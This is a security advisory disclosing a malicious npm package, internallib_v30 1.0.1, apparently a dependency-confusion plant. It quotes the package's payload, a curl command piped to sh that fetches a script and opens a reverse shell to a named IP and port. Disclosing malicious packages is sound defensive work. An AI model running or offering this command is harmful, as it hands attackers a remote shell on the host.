internallib_v30

GHSA-rqhh-xrhc-wr23

Malicious code in internallib_v30 (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.1`

## Source: amazon-inspector (52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe)
[email protected] ships a single index.js whose exported command() function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443 | sh', fetching a remote shell script over HTTPS and piping it directly into sh. Invoking the exported function from any consumer causes the installer host to download and execute attacker-staged code that opens a reverse shell to 10.0.19.80 on port 8443. The package has no documented legitimate purpose, empty author/description metadata, and a name consistent with an internal/dependency-confusion target.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/d804cfe9f5aee40bb2d6148df492703641580260/osv/malicious/npm/internallib_v30/MAL-2026-17633.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/d804cfe9f5aee40bb2d6148df492703641580260/osv/malicious/npm/internallib_v30/MAL-2026-17633.json
- https://www.npmjs.com/package/internallib_v30/v/1.0.1
- https://github.com/advisories/GHSA-rqhh-xrhc-wr23

Compromised versions (1)

= 1.0.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.